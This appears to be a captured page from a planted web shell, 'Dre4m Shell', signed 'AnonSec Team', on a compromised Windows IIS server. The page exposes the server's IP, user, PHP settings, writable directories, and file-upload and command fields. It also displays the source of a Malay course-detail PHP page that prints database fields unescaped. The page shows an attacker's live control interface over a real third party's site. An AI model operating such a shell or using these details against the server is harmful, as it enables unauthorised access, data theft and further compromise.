Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.118.144.109
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/smsmalor/smsmalorsetar.com/wwwroot/detail_kursus.php
<?php require_once('Connections/mentorpbs.php'); ?><?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$colname_DetailRS1 = "-1";
if (isset($_GET['recordID'])) {
  $colname_DetailRS1 = $_GET['recordID'];
}
mysql_select_db($database_mentorpbs, $mentorpbs);
$query_DetailRS1 = sprintf("SELECT * FROM hadir_kursus INNER JOIN pengelola ON hadir_kursus.pengelola_id=pengelola.id_pengelola WHERE idkursus = %s  ", GetSQLValueString($colname_DetailRS1, "int"));
$DetailRS1 = mysql_query($query_DetailRS1, $mentorpbs) or die(mysql_error());
$row_DetailRS1 = mysql_fetch_assoc($DetailRS1);
$totalRows_DetailRS1 = mysql_num_rows($DetailRS1);
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
<style type="text/css">
<!--
.style1 {
	font-size: 24px;
	color: #0000FF;
}
-->
</style>
</head>

<body>
<p align="center" class="style1">PERINCIAN KURSUS / BENGKEL / MESYUARAT DLL</p>
<p align="center"><img src="images/hadir_kursus/<?php echo $row_DetailRS1['nokpguru']; ?>.jpg" alt="" width="150" height="183" /></p>
<p>&nbsp;</p>
<table width="992" border="1" align="center">
  <tr>
    <td width="229">ID KURSUS</td>
    <td width="747"><?php echo $row_DetailRS1['idkursus']; ?> </td>
  </tr>
  <tr>
    <td>NO KP GURU</td>
    <td><?php echo $row_DetailRS1['nokpguru']; ?> </td>
  </tr>
  <tr>
    <td>NAMA KURSUS</td>
    <td><?php echo $row_DetailRS1['nama_kursus']; ?> </td>
  </tr>
  <tr>
    <td>PENGELOLA</td>
    <td><?php echo $row_DetailRS1['pengelola_id']; ?> <?php echo $row_DetailRS1['nama_pengelola']; ?></td>
  </tr>
  <tr>
    <td>MAKLUMAT PENGELOLA</td>
    <td><?php echo $row_DetailRS1['pengelola_lain']; ?> </td>
  </tr>
  <tr>
    <td>TARIKH (DARI)</td>
    <td><?php echo $row_DetailRS1['tarikh_dari']; ?> </td>
  </tr>
  <tr>
    <td>TARIKH (HINGGA)</td>
    <td><?php echo $row_DetailRS1['tarikh_hingga']; ?> </td>
  </tr>
  <tr>
    <td>MASA (DARI)</td>
    <td><?php echo $row_DetailRS1['masa_dari']; ?> </td>
  </tr>
  <tr>
    <td>MASA (HINGGA)</td>
    <td><?php echo $row_DetailRS1['masa_hingga']; ?> </td>
  </tr>
  <tr>
    <td>TEMPAT</td>
    <td><?php echo $row_DetailRS1['tempat_kursus']; ?> </td>
  </tr>
</table>

<p align="center">&nbsp;</p>
<p align="center"><a href="hadir_kursus.php">KEMBALI</a></p>
</body>
</html><?php
mysql_free_result($DetailRS1);
?>

Anon7 - 2022
AnonSec Team